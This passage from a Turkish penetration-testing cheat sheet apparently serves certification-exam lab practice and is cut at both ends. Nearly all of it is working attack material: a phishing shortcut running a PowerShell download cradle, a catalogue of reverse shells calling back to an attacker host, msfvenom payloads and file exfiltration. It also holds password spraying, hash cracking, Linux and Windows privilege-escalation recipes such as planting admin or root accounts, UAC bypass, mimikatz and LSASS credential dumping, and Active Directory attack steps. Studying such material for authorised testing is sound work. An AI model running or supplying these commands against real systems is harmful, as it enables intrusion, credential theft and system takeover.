</libraryDescription>

WebDAV klasörüne bir .lnk koy (Windows makinede oluşturulur; hedef olarak): powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8000/powercat.ps1'); powercat -c LHOST -p 443 -e powershell"

# 2) E-posta ile gönder
swaks -t user@$DOMAIN --from it@$DOMAIN --server $IP --auth LOGIN --auth-user $USER --auth-password $PASS \
      --header "Subject: Config" --body "Lütfen ekteki dosyayı açın." --attach @config.Library-ms

Office makrosu senaryosunda: .doc (makro destekli eski format) içine AutoOpen/Document_Open → PowerShell download cradle.


5. Parolalar ve hash'ler

5.1 Brute force ve spray

hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://$IP -t 4
hydra -L users.txt -P pass.txt ftp://$IP
hydra -l admin -P rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
hydra -l admin -P rockyou.txt $IP http-get /admin/          # Basic auth
hydra -l administrator -P pass.txt rdp://$IP -t 1

# Domain spray: önce politika!
nxc smb $DC -u $USER -p $PASS --pass-pol
nxc smb $DC -u users.txt -p 'Winter2026!' --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2026!'

Kural: kilitlenme eşiği varsa, kullanıcı başına eşik−1 deneme, sonra gözlem süresi kadar bekle. Brute force son çaredir; önce bağlamdan parola üret:

cewl http://$IP -d 2 -m 5 -w cewl.txt                       # siteden kelime listesi
hashcat --stdout cewl.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt
# Kendi kuralın:  c $1 $! → İlk harf büyük + "1!"   (echo 'c $1 $!' > my.rule)

5.2 Hash türleri

Hash Görünüm hashcat -m
NTLM 31d6cfe0d16ae931b73c59d7e0c089c0 1000
NetNTLMv2 user::DOMAIN:1122..:... 5600
Kerberoast (RC4) $krb5tgs$23$*... 13100
AS-REP $krb5asrep$23$... 18200
MD5 / SHA1 / SHA256 32 / 40 / 64 hex 0 / 100 / 1400
md5crypt / sha512crypt $1$ / $6$ 500 / 1800
bcrypt $2y$10$... 3200
KeePass $keepass$*2*... 13400
Net-NTLMv1 user::DOMAIN:... 5500
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 kerb.txt rockyou.txt --show
hashcat hash.txt --identify            # tür tespiti (hashid de olur)
john --wordlist=rockyou.txt hash.txt ; john --show hash.txt

Önce Pass-the-Hash dene (saniyeler), sonra kır (dakikalar–saatler).

5.3 Dosya parolaları (*2john)

ssh2john id_rsa > h.txt               # parolalı SSH anahtarı
keepass2john Database.kdbx > h.txt    # KeePass (hashcat için baştaki "Database:" kısmını sil, -m 13400)
zip2john backup.zip > h.txt
office2john doc.docx > h.txt
pdf2john file.pdf > h.txt
john --wordlist=/usr/share/wordlists/rockyou.txt h.txt
# KeePass'i aç
keepassxc-cli ls Database.kdbx ; keepassxc-cli show -s Database.kdbx "Entry Name"

6. Kabuklar (shell)

6.1 Reverse shell kataloğu

Hedefe yapıştırırken LHOST ve 443'ü değiştir. Kali tarafında: rlwrap -cAr nc -lvnp 443.

bash -c 'bash -i >& /dev/tcp/LHOST/443 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST 443 >/tmp/f
nc -e /bin/bash LHOST 443
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
php -r '$s=fsockopen("LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="LHOST";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Web parametresi içinden (özel karakterler sorun çıkarıyorsa) base64'le:

# Kali'de üret
echo -n 'bash -i >& /dev/tcp/LHOST/443 0>&1' | base64 -w0
# Hedefte çalıştır
echo <B64> | base64 -d | bash

Windows / PowerShell — en güvenilir yol: Kali'de üret, base64 UTF-16LE ile çalıştır:

# Kali'de: (LHOST değişkenden gelir)
cat > rev.ps1 <<EOF
\$c=New-Object Net.Sockets.TCPClient('$LHOST',443);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+'PS '+(pwd).Path+'> ';\$sb=([Text.Encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()};\$c.Close()
EOF
echo "powershell -nop -w hidden -e $(iconv -t UTF-16LE rev.ps1 | base64 -w0)"
# Çıkan tek satırı hedefte (cmd, web RCE, xp_cmdshell...) çalıştır.

Alternatifler: nc64.exe -e cmd.exe LHOST 443 (hedefe yükledikten sonra), powercat:

IEX(New-Object Net.WebClient).DownloadString('http://LHOST/powercat.ps1');powercat -c LHOST -p 443 -e powershell

6.2 msfvenom (her makinede serbest — Meterpreter hariç)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o rev.exe
msfvenom -p windows/shell_reverse_tcp     LHOST=$LHOST LPORT=443 -f exe -o rev32.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o rev.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o rev.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o rev.aspx
msfvenom -p linux/x64/shell_reverse_tcp   LHOST=$LHOST LPORT=443 -f elf -o rev.elf
msfvenom -p java/jsp_shell_reverse_tcp    LHOST=$LHOST LPORT=443 -f war -o rev.war
msfvenom -p php/reverse_php               LHOST=$LHOST LPORT=443 -f raw -o rev.php

Staged ↔ stageless

windows/x64/shell_reverse_tcp (alt çizgi) stageless'tır, nc ile yakalanır. windows/x64/shell/reverse_tcp (eğik çizgi) staged'dir, sadece multi/handler ile yakalanır. Meterpreter payload'ları Metasploit kısıtlamasına tabidir.

6.3 Linux TTY yükseltme

python3 -c 'import pty;pty.spawn("/bin/bash")'     # yoksa: script -qc /bin/bash /dev/null
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm-256color SHELL=/bin/bash
stty rows 50 cols 200        # Kali'de 'stty size' ile kendi değerlerini öğren

Daha sağlam: hedefte socat varsa veya yükleyebiliyorsan tam TTY:

socat file:`tty`,raw,echo=0 tcp-listen:4444                           # Kali
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:4444    # hedef

SSH erişimin varsa her şeyi bırak, SSH kullan. Yazma iznin olan bir ev dizinine authorized_keys bırakmak en stabil kabuktur.

6.4 Windows'ta daha iyi kabuk

  • WinRM açık ve kimlik varsa: evil-winrm (upload/download dahili).
  • RDP: xfreerdp3 /v:$IP /u:$USER /p:$PASS /cert:ignore /dynamic-resolution +clipboard /drive:share,/home/kali/exam/tools
  • ConPtyShell (tam etkileşimli):
# Kali
stty raw -echo; (stty size; cat) | nc -lvnp 3001
# Hedef
IEX(IWR http://LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell LHOST 3001
  • Elinde başka kullanıcının parolası var ama etkileşimli oturum yoksa: RunasCs
.\RunasCs.exe svc_user 'Passw0rd!' cmd.exe -r LHOST:443

6.5 Reverse shell gelmiyorsa

  1. LHOST gerçekten tun0 IP'si mi? (ip a show tun0)
  2. Listener doğru portta mı? ss -tlnp | grep 443
  3. Hedefin çıkışı filtreli olabilir: 80, 443, 53 ya da hedefte zaten açık bir port numarasını dene.
  4. Önce basit bağlantıyı test et: curl http://LHOST/test / ping LHOST (tcpdump ile izle).
  5. Mimari: 32-bit süreç/OS'ta x64 payload çalışmaz.
  6. Özel karakterler (&, |, ') URL/komut içinde bozuluyor → URL-encode veya base64.
  7. Defender dosyayı siliyorsa: bellek içi PowerShell, nc64.exe yerine powercat; farklı payload formatı.

7. Dosya transferi

7.1 Kali tarafında sunucular (tmux pencere 0'da sürekli açık)

cd ~/exam/tools && python3 -m http.server 80                     # indirme
python3 -m uploadserver 8000                                       # yükleme (pip install uploadserver)
impacket-smbserver share . -smb2support -user k -password k        # SMB (yeni Windows misafir erişimi reddeder → kullanıcı/parola kullan)

7.2 Kali → hedef

# Linux hedef
wget http://LHOST/linpeas.sh -O /tmp/lp.sh
curl http://LHOST/linpeas.sh -o /tmp/lp.sh
curl http://LHOST/linpeas.sh | bash                 # diske yazmadan
# wget/curl yoksa
exec 3<>/dev/tcp/LHOST/80; echo -e "GET /pspy64 HTTP/1.0\r\n\r\n" >&3; cat <&3 > /tmp/p   # (HTTP başlığını sonra temizle)
# Windows hedef
iwr http://LHOST/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe
certutil -urlcache -split -f http://LHOST/nc64.exe C:\Windows\Temp\nc.exe
curl.exe http://LHOST/nc64.exe -o C:\Windows\Temp\nc.exe
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/PowerUp.ps1')        # bellek içi
net use \\LHOST\share /user:k k ; copy \\LHOST\share\nc64.exe C:\Windows\Temp\

evil-winrm içindeysen: upload /home/kali/exam/tools/winPEASx64.exe / download C:\path\file.

7.3 Hedef → Kali

# Linux
curl -F 'files=@/tmp/loot.tgz' http://LHOST:8000/upload
nc -lvnp 9001 > loot.tgz            # Kali
nc LHOST 9001 < /tmp/loot.tgz       # hedef
# Windows
copy C:\Windows\Temp\sam.hiv \\LHOST\share\
(New-Object Net.WebClient).UploadFile('http://LHOST:8000/upload','C:\Windows\Temp\loot.zip')
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Windows\Temp\small.txt"))   # küçük dosya: kopyala-yapıştır

Bütünlüğü kontrol et: md5sum (Linux) ↔ Get-FileHash -Algorithm MD5 (Windows).

Hata Çözüm
certutil / yazma "Access denied" C:\Windows\Temp, C:\Users\Public veya $env:TEMP kullan
İndirilen dosya 0 byte / HTML http.server yanlış dizinde çalışıyor; URL'yi tarayıcıda dene
SMB "guest access blocked" impacket-smbserver ... -user k -password k + net use
Linux'ta Permission denied çalıştırırken chmod +x; /tmp noexec ise /dev/shm veya ev dizini

8. Linux yetki yükseltme

8.1 Sıralı kontrol listesi (önce manuel 5 dk, sonra linpeas)

id; sudo -l                                   # 1) sudo — en sık yol
find / -perm -4000 -type f 2>/dev/null        # 2) SUID
getcap -r / 2>/dev/null                       # 3) capabilities
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers   # 4) cron
ls -la /home/* /opt /var/www /srv; cat ~/.bash_history        # 5) parolalar / ilginç dosyalar
ss -tlnp                                      # 6) sadece localhost'ta dinleyen servisler (port forward!)
ps aux | grep -i root                         # 7) root olarak çalışan özel süreçler
uname -a; cat /etc/os-release; sudo -V | head -1   # 8) kernel/sudo/polkit sürümü
cat /etc/exports 2>/dev/null                  # 9) NFS no_root_squash
curl http://LHOST/linpeas.sh | bash | tee /tmp/lp.txt   # kırmızı-sarı: %95 privesc
./pspy64                                                 # 2–3 dk izle: root'un periyodik komutları

Localhost'ta dinleyen servis (ör. 127.0.0.1:8080) gördüysen: SSH ile ssh -L 8080:127.0.0.1:8080 user@$IP veya chisel/ligolo ile Kali'ye aç — çoğu zaman root olarak çalışan bir web uygulamasıdır.

8.2 sudo

sudo -l çıktısındaki her binary için GTFOBins'e bak (gtfobins.github.io → "Sudo"). En sık olanlar:

sudo vim -c ':!/bin/bash'
sudo find . -exec /bin/bash \; -quit
sudo awk 'BEGIN {system("/bin/bash")}'
sudo less /etc/hosts      # içinde:  !/bin/bash
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo env /bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help config   # içinde:  !/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'bash #'
sudo -l çıktısında Yol
(ALL) NOPASSWD: /path/script.sh ve script yazılabilir İçine bash -p ekle
Script kendisi yazılamıyor ama içinde tam yolsuz komut var secure_path yoksa PATH hijack
Script içinde * joker wildcard injection (tar/rsync/chown)
env_keep+=LD_PRELOAD Aşağıdaki LD_PRELOAD
(ALL, !root) ve sudo < 1.8.28 sudo -u#-1 /bin/bash (CVE-2019-14287)
Kendi parolan biliniyor ve (ALL : ALL) ALL sudo -i 😊

LD_PRELOAD:

// /tmp/x.c
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); }
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so <sudo ile izinli herhangi bir komut>

8.3 SUID ve capabilities

GTFOBins'te "SUID" bölümüne bak (sudo komutundan farklıdır: genelde -p gerekir).

/usr/bin/bash -p                                     # SUID bash
find . -exec /bin/sh -p \; -quit                     # SUID find
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'  # SUID python
env /bin/sh -p                                       # SUID env
# SUID cp / yazılabilir /etc/passwd: root yetkili kullanıcı ekle
openssl passwd -1 -salt x Passw0rd                   # çıktı: $1$x$...
cp /etc/passwd /tmp/p; echo 'r00t:<HASH>:0:0:root:/root:/bin/bash' >> /tmp/p
cp /tmp/p /etc/passwd        # (SUID cp ile)  →  su r00t

Bilinmeyen (özel) SUID binary: strings / ltrace ile çalıştırdığı komutlara bak → tam yolsuz çağrı varsa PATH hijack:

strings /usr/local/bin/backup | less
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/tar; chmod +x /tmp/tar
PATH=/tmp:$PATH /usr/local/bin/backup
Capability Sömürü
cap_setuid+ep (python/perl/node…) python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
cap_dac_read_search Her dosyayı oku (/etc/shadow, root'un SSH anahtarı)
cap_dac_override Her dosyaya yaz (/etc/passwd)

8.4 Cron ve zamanlanmış işler

cat /etc/crontab /etc/cron.d/*; ls -la /etc/cron.*
./pspy64                        # crontab'da görünmeyen root işlerini yakala
  • Root'un çalıştırdığı script yazılabilir: echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/script.sh → bekle → /tmp/rb -p
  • Script tam yolsuz komut çağırıyor ve crontab'daki PATH'te yazılabilir bir dizin önce geliyor → o dizine aynı isimde script.
  • Joker (wildcard): cd /var/backups && tar czf /tmp/b.tgz *
cd /var/backups
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'

8.5 Gruplar

id çıktısındaki gruplara bak:

Grup Yol
docker docker run -v /:/mnt --rm -it <mevcut imaj> chroot /mnt bash (docker images ile imaj adını öğren)
lxd / lxc Alpine imajı içe aktar, security.privileged=true, /'yi bağla
disk debugfs /dev/sda1 → cat /root/.ssh/id_rsa
adm /var/log/* oku → loglarda parola
shadow /etc/shadow oku → kır
sudo / wheel Kullanıcının parolasını bulursan doğrudan root

8.6 NFS no_root_squash

# Hedefte: cat /etc/exports   →  /srv/share *(rw,no_root_squash)
# Kali'de (root):
sudo mount -t nfs -o vers=3 $IP:/srv/share /mnt/nfs
cat > /tmp/r.c <<'EOF'
#include <unistd.h>
int main(){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
sudo gcc -static /tmp/r.c -o /mnt/nfs/r && sudo chmod +s /mnt/nfs/r
# Hedefte:
/srv/share/r

(-static derleme, Kali ile hedef arasındaki glibc sürüm farkı yüzünden çalışmama sorununu önler. Kali'deki /bin/bash'i kopyalamak bu yüzden çoğu zaman başarısız olur.)

8.7 Kernel ve bilinen yerel CVE'ler (son çare)

CVE Hedef Koşul
CVE-2021-4034 PwnKit pkexec polkit < 0.120 (2022 başı öncesi neredeyse tüm dağıtımlar)
CVE-2021-3156 Baron Samedit sudo 1.8.2–1.8.31p2, 1.9.0–1.9.5p1
CVE-2022-0847 Dirty Pipe kernel 5.8 ≤ sürüm < 5.16.11 / 5.15.25 / 5.10.102
CVE-2023-2640 + 32629 GameOverlay Ubuntu kernel Belirli Ubuntu çekirdekleri (OverlayFS)
CVE-2023-4911 Looney Tunables glibc 2.34–2.38 (yamasız)
CVE-2016-5195 Dirty COW kernel < 4.8.3 (eski hedefler)
uname -r; cat /etc/os-release; dpkg -l | grep -E 'policykit|sudo |libc6'
./linux-exploit-suggester.sh

Kernel exploit makineyi çökertebilir → önce her şeyi dene, çalıştırmadan önce kanıtlarını (local.txt) topla. Makine çökerse panelden revert gerekir (en fazla 24; bir kez sıfırlatılabilir).

8.8 Linux privesc karar tablosu

Bulgu Yol
sudo -l sonuç veriyor GTFOBins "Sudo" / script yazma / LD_PRELOAD
Standart dışı SUID GTFOBins "SUID"; özel binary ise strings + PATH hijack
Capability 8.3 tablo
Root cron + yazılabilir script / joker 8.4
docker/lxd/disk grubu 8.5
127.0.0.1'de servis Port forward → web uygulaması / DB
Config dosyasında parola su root, su <diğer kullanıcı>
NFS no_root_squash 8.6
Eski kernel / sudo / polkit 8.7 (son çare)

9. Windows yetki yükseltme

9.1 Sıralı kontrol listesi

whoami /priv                  # 1) SeImpersonate vb. → 9.5
whoami /groups                # 2) Administrators (UAC?), Backup Operators, Server Operators, DnsAdmins
net user <kendin>; net localgroup administrators
systeminfo                    # 3) OS sürümü, yamalar, mimari
# 4) Parolalar (9.2) — EN VERİMLİ
# 5) Servisler (9.3)
Get-CimInstance win32_service | ?{$_.PathName -notlike "C:\Windows*"} | select Name,StartName,State,StartMode,PathName
# 6) Zamanlanmış görevler
schtasks /query /fo LIST /v | findstr /i "TaskName Run.As Task.To.Run"
# 7) Kurulu yazılım ve ilginç dizinler
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersion
dir C:\ ; dir "C:\Program Files" ; dir "C:\Program Files (x86)" ; dir C:\Users\*\Desktop
netstat -ano | findstr LISTENING       # 8) sadece içeriden erişilen servisler

Sonra otomatik: .\winPEASx64.exe ve . .\PowerUp.ps1; Invoke-AllChecks — ikisinin bulgusunu da manuel doğrula.

9.2 Kimlik bilgisi avı (Windows'ta en verimli privesc)

# PowerShell geçmişi (her kullanıcı için)
Get-History
type (Get-PSReadlineOption).HistorySavePath
dir C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# PowerShell transcript dosyaları
dir C:\ -Recurse -Include *transcript*.txt -ErrorAction SilentlyContinue
# İlginç dosyalar
Get-ChildItem C:\Users -Include *.txt,*.ini,*.xml,*.config,*.kdbx,*.ps1,*.zip -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
findstr /si /m "password" C:\inetpub\*.config C:\xampp\*.ini C:\Users\*.txt 2>nul
# Kayıt defteri / otomatik oturum
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "Default"
reg query HKLM /f password /t REG_SZ /s 2>nul | findstr /i "password"
# Kurulum kalıntıları
type C:\Windows\Panther\Unattend.xml ; type C:\Windows\Panther\unattend\Unattend.xml
# Kaydedilmiş kimlikler
cmdkey /list        # varsa:  runas /savecred /user:<kullanıcı> "C:\Windows\Temp\rev.exe"

Event Viewer → PowerShell Operational → Script Block Logging (4104) kayıtlarında da parola geçebilir: Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | ?{$_.Id -eq 4104} | select -First 50 -Expand Message

9.3 Servisler

(a) Servis binary'si yazılabilir (binary hijacking):

icacls "C:\Program Files\App\svc.exe"         # (F) veya (M) senin grubunda mı? (BUILTIN\Users, Everyone, Authenticated Users)
// adduser.c  →  x86_64-w64-mingw32-gcc adduser.c -o svc.exe
#include <stdlib.h>
int main(){ system("net user hacker Passw0rd! /add"); system("net localgroup administrators hacker /add"); return 0; }
move "C:\Program Files\App\svc.exe" C:\Windows\Temp\svc.bak
iwr http://LHOST/svc.exe -OutFile "C:\Program Files\App\svc.exe"
Restart-Service App        # izin yoksa ve StartMode=Auto ise:  shutdown /r /t 0  (SeShutdownPrivilege gerekir)

(Reverse shell isteyenler msfvenom ... -f exe-service kullanabilir; düz -f exe servis olarak başlatılınca birkaç saniyede ölür.)

(b) Servis yapılandırması değiştirilebilir:

.\accesschk64.exe /accepteula -uwcqv $env:USERNAME *     # SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS
sc.exe qc <svc>
sc.exe config <svc> binPath= "C:\Windows\Temp\nc.exe -e cmd.exe LHOST 443"
sc.exe stop <svc>; sc.exe start <svc>

(c) Tırnaksız yol (unquoted service path):

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# C:\Program Files\My App\Bin\svc.exe  →  sırayla:  C:\Program.exe, C:\Program Files\My.exe, C:\Program Files\My App\Bin.exe
icacls "C:\Program Files\My App"        # yazılabilir dizine uygun isimli exe bırak, servisi yeniden başlat

(d) DLL hijacking: Servis/uygulama, yazılabilir bir dizinden olmayan bir DLL'i arıyorsa (Process Monitor'da NAME NOT FOUND; hedefte genelde yok → aynı uygulamayı kendi Windows VM'inde incele):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o hijack.dll

9.4 Zamanlanmış görevler ve AlwaysInstallElevated

schtasks /query /fo LIST /v | findstr /i "TaskName Run.As Task.To.Run"
icacls C:\path\to\task.ps1          # yazılabilir ve "Run As" yetkili hesap ise → içeriği değiştir

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# İkisi de 0x1 ise:
msiexec /quiet /qn /i C:\Windows\Temp\rev.msi

9.5 Yetkiler (whoami /priv)

Yetki Yol
SeImpersonatePrivilege Potato ailesi (IIS, MSSQL, servis hesaplarında çok sık)
SeBackupPrivilege SAM/SYSTEM kopyala; DC'de ntds.dit (aşağıda)
SeRestorePrivilege Korunan dosyalara yaz (ör. utilman.exe değiştir)
SeManageVolumePrivilege SeManageVolumeExploit.exe → C:\ yazma → DLL hijack
SeTakeOwnershipPrivilege takeown + icacls → sistem dosyasını değiştir
SeDebugPrivilege LSASS dump / SYSTEM sürecine enjeksiyon
SeLoadDriverPrivilege Zafiyetli sürücü (Capcom) — nadir
# SeImpersonate
.\PrintSpoofer64.exe -i -c powershell.exe                 # Win10 / Server 2016-2019
.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe LHOST 443 -e cmd"
.\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe LHOST 443 -e cmd"   # Server 2012–2022 / Win8–11
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe LHOST 443 -e cmd"

Bir Potato çalışmazsa diğerini dene; .NET sürümünü (GodPotato-NET2/NET35/NET4) hedefe göre seç.

SeBackupPrivilege (üye sunucu):

reg save HKLM\SAM C:\Windows\Temp\sam ; reg save HKLM\SYSTEM C:\Windows\Temp\system
# Kali:  impacket-secretsdump -sam sam -system system LOCAL

SeBackupPrivilege / Backup Operators (DC → ntds.dit):

# diskshadow.txt (Windows satır sonlarıyla: unix2dos)
set context persistent nowriters
add volume c: alias x
create
expose %x% z:
diskshadow /s C:\Windows\Temp\diskshadow.txt
robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\system
# Kali:  impacket-secretsdump -ntds ntds.dit -system system LOCAL

9.6 Gruplar

Grup Yol
Administrators ama Medium integrity UAC bypass (9.7)
Backup Operators 9.5 (SAM / ntds.dit)
Server Operators sc.exe config <svc> binPath= ile servis değiştir, başlat → SYSTEM
DnsAdmins dnscmd /config /serverlevelplugindll \\LHOST\share\x.dll + DNS servisini yeniden başlat
Event Log Readers Güvenlik loglarında komut satırı parolaları (4688)
Remote Management Users evil-winrm ile giriş hakkı

9.7 UAC bypass (Administrators üyesi + Medium integrity)

whoami /groups | findstr Label         # Medium Mandatory Level → UAC
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name DelegateExecute -Value "" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Windows\Temp\nc.exe LHOST 443 -e cmd.exe" -Force
Start-Process C:\Windows\System32\fodhelper.exe

Parola biliniyorsa daha basit: RDP ile gir, "Yönetici olarak çalıştır" — ya da RunasCs.exe user pass cmd.exe -r LHOST:443 --bypass-uac.

9.8 Admin/SYSTEM olduktan sonra (sadece flag değil!)

# Yerel hash'ler
reg save HKLM\SAM C:\Windows\Temp\sam; reg save HKLM\SYSTEM C:\Windows\Temp\system; reg save HKLM\SECURITY C:\Windows\Temp\security
# Bellekteki kimlikler (AD setinde KRİTİK: bir sonraki makinenin anahtarı genelde buradadır)
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" "exit"
# Kali'den uzaktan (yerel admin kimliğiyle)
impacket-secretsdump $DOMAIN/$USER:$PASS@$IP
nxc smb $IP -u administrator -H <NTLM> --local-auth --sam --lsa
nxc smb $IP -u $USER -p $PASS -M lsassy

Defender mimikatz'ı siliyorsa: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass PID> C:\Windows\Temp\l.dmp full (yönetici PowerShell) → Kali'de pypykatz lsa minidump l.dmp.

Sonra: kullanıcı masaüstleri/dokümanları, .kdbx, tarayıcı/uygulama config'leri, ipconfig /all (ikinci ağ kartı = pivot), cmdkey /list.

9.9 Eski / yamasız sistemler

systeminfo çıktısını Kali'de wes.py systeminfo.txt --impact "Elevation of Privilege" ile tara. Klasikler: MS17-010 (2008/7), PrintNightmare CVE-2021-34527/1675 (Spooler açıksa), HiveNightmare CVE-2021-36934 (icacls C:\Windows\System32\config\SAM → BUILTIN\Users:(RX)).

9.10 Windows privesc karar tablosu

Bulgu Yol
SeImpersonate GodPotato / PrintSpoofer / JuicyPotatoNG
Geçmiş/config/kdbx'te parola RunasCs / evil-winrm / RDP
Yazılabilir servis binary'si Değiştir + yeniden başlat / reboot
Servis config yetkisi sc config binPath
Tırnaksız yol + yazılabilir dizin Uygun isimli exe
Yazılabilir görev script'i İçeriği değiştir
AlwaysInstallElevated MSI
Admin grubu + Medium fodhelper UAC bypass
Backup/Server Operators, DnsAdmins 9.5 / 9.6
localhost'ta dinleyen servis Port forward → incele

9.11 Hızlı referans: ilk 10 dakika

whoami /all; hostname; ipconfig /all; systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
net user; net localgroup administrators; netstat -ano | findstr LISTENING
Get-History; type (Get-PSReadlineOption).HistorySavePath
dir C:\Users\*\Desktop, C:\Users\*\Documents -ErrorAction SilentlyContinue

10. Active Directory (varsayılan ihlal senaryosu)

10.1 AD karar ağacı

Verilen kullanıcı (user:pass) + DC IP
│
├─ 1. Doğrula ve haritala ─► nxc smb <subnet>  →  hangi makineler, hangileri imzasız, hangi isimler
├─ 2. Kanallar ──────────────► nxc smb/winrm/rdp/mssql/ldap ile bu kullanıcıyı HER makinede dene
├─ 3. Enum ──────────────────► kullanıcılar + açıklamaları, gruplar, share'ler, BloodHound
│
├─ SPN'li kullanıcı ─────────► Kerberoast → 13100 → parola → spray / giriş
├─ Preauth kapalı ───────────► AS-REP roast → 18200
├─ Share'de dosya ───────────► script/config/kdbx/xml → parola
├─ Bir makinede yerel admin ─► mimikatz/secretsdump → yeni hash/parolalar → 2. adıma dön
├─ BloodHound ACL kenarı ────► ForceChangePassword / GenericAll / GenericWrite / WriteDACL / AddMember
├─ MSSQL erişimi ────────────► xp_cmdshell → SeImpersonate → Potato
├─ Makinede shell var, admin değil ► Bölüm 9 (yerel privesc) → sonra dump
└─ DA / DC'de SYSTEM ────────► proof.txt (DC'de) + DCSync

AD'de ilerleme döngüseldir: yeni kimlik → her yerde dene → yeni makine → dump → yeni kimlik. Her yeni kimlikte BloodHound'da o kullanıcıyı "Owned" işaretle ve yolları yeniden sorgula.

10.2 İlk 15 dakika

# Saat senkronu (Kerberos 5 dk farka toleranslı)
sudo ntpdate -u $DC          # veya: sudo rdate -n $DC
# DC ve domain adı
nxc smb $DC
echo "$DC dc01.$DOMAIN $DOMAIN dc01" | sudo tee -a /etc/hosts
# Subnetteki makineler
nxc smb 10.10.x.0/24
# Kullanıcıyı her yerde dene
nxc smb   10.10.x.0/24 -u $USER -p $PASS
nxc winrm 10.10.x.0/24 -u $USER -p $PASS
nxc rdp   10.10.x.0/24 -u $USER -p $PASS
nxc mssql 10.10.x.0/24 -u $USER -p $PASS
# Domain verisi
nxc smb $DC -u $USER -p $PASS --users --groups --shares --pass-pol
nxc ldap $DC -u $USER -p $PASS --users-export users.txt     # sadece kullanıcı adları
nxc smb 10.10.x.0/24 -u $USER -p $PASS -M spider_plus        # tüm share'lerdeki dosyalar

Kullanıcı açıklama alanları (description) ve SYSVOL içindeki script'ler sık sık parola içerir.

10.3 BloodHound

# Kali'den toplama
bloodhound-ce-python -u $USER -p $PASS -d $DOMAIN -ns $DC -c All --zip      # BloodHound CE için
# (BloodHound Legacy kullanıyorsan: bloodhound-python. Toplayıcı ile arayüz sürümü UYUMLU olmalı.)
nxc ldap $DC -u $USER -p $PASS --bloodhound -c All --dns-server $DC
# Hedef Windows'tan
